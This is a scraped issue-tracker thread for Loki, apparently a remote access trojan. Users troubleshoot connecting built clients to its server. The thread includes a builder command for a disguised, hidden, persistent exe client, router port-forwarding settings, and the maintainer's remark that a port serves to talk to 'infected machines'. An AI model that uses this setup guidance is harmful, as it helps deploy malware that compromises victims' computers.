Comments (5)
Make sure you have set your public ip as ip when you’re generating the payload
from loki.
So,
I redid everything and it still not work.
What I do:
Change Private and Public IP in const.py with :
PRIVATE_IP = '192.168.1.X'
PUBLIC_IP = 'My_Public_IP'ports
FTP_PORT = 128
SSH_PORT = 256
Then I start Loki, go to server settings and start server on
192.168.1.X : 8080
Next, on Windows10 x64 VM, I build the client with :
python builder.py -i MY_PUBLIC_IP -p 8080 -n Test -t exe -ic \myicon.ico -hd -ap
Still can't connect to Loki.
Note: I've already opened my router ports see :
Ftp server open on port 128 (UDP + TCP)
SSH server open on port 256 (UDP + TCP)
Http port open on 8080 (UDP + TCP )
Got this "Warning" launching loki too:
- Serving Flask app "loki" (lazy loading)
- Environment: production
WARNING: Do not use the development server in a production environment.
Use a production WSGI server instead.- Debug mode: off
- Running on http://127.0.0.1:5000/ (Press CTRL+C to quit)
from loki.
Just ignore that warning. As long as you're running Loki locally you don't need to worry about it. Btw 8080 is not the web server, the web server runs on port 5000. 8080 is the TCP port Loki server runs on; it's the port that allows Loki to communicate with infected machines
from loki.
So now, with your help I have changed ports on my router.
I finally succeeded to connect the client to Loki, but only one time..., and doing what I always did, I think.... After client connect I’ve uninstalled the client on the VM machine to try to connect another time. Reinstalled the VM to be sure and now it’s the same : impossible to connect clients and Loki.
I really don’t know what I’m doing wrong, launching Loki with python 3.7, starting server on my private IP port 8080, installing python 3.7 on Windows VM and building the server with my public IP port 8080 ...
EDIT :
Sometimes I get this error after clicking on the builder output client :
from loki.
Join my Discord server
from loki.
Related Issues (20)
- Adding dynamic dns dupport
- Payload binary does not exist; please generate it HOT 2
- Screenshare command not working HOT 2
- Aa
- error: 'utf-8' codec can't decode byte 0x84 in position 158: invalid start byte
- Running on http://127.0.0.1:5000/ (Press CTRL+C to quit) HOT 1
- can't run builder on linux (python 3.7) HOT 2
- Please install Pyinstaller: pip install pyinstaller HOT 1
- exe not build
- builder.py Traceback HOT 1
- Tutorial HOT 1
- Traceback when creating payload
- Password Reset HOT 1
- CPU 30%
- Traceback builder.py
- cannot build, bootlocale not found
- Traceback Issue
- Issue
- Traceback error HOT 3
- There is a problem with the association between the server.py and the web page
Recommend Projects
-
React
A declarative, efficient, and flexible JavaScript library for building user interfaces.
-
Vue.js
🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.
-
Typescript
TypeScript is a superset of JavaScript that compiles to clean JavaScript output.
-
TensorFlow
An Open Source Machine Learning Framework for Everyone
-
Django
The Web framework for perfectionists with deadlines.
-
Laravel
A PHP framework for web artisans
-
D3
Bring data to life with SVG, Canvas and HTML. 📊📈🎉
-
Recommend Topics
-
javascript
JavaScript (JS) is a lightweight interpreted programming language with first-class functions.
-
web
Some thing interesting about web. New door for the world.
-
server
A server is a program made to process requests and deliver data to clients.
-
Machine learning
Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.
-
Visualization
Some thing interesting about visualization, use data art
-
Game
Some thing interesting about game, make everyone happy.
Recommend Org
-
Facebook
We are working to build community through open source technology. NB: members must have two-factor auth.
-
Microsoft
Open source projects and samples from Microsoft.
-
Google
Google ❤️ Open Source for everyone.
-
Alibaba
Alibaba Open Source for everyone
-
D3
Data-Driven Documents codes.
-
Tencent
China tencent open source team.
from loki.